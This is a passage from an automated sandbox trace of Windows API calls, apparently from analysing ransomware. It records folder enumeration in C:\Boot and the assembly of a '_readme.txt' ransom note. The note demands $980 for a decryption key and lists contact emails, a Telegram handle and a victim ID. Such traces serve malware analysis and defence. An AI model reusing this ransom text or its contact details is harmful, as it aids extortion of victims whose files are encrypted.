ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.365] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.365] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.365] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.366] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.368] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.368] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.369] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.369] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0116.369] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.369] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.369] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.369] PathFindFileNameW (pszPath="") returned="" [0116.369] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.370] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.370] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.370] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.370] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.370] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.370] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.370] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0116.370] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.370] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.370] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0116.370] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.370] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.370] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.370] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.370] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.371] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.371] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.371] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.371] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.371] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.371] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.371] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.371] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.371] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.371] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.371] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.371] 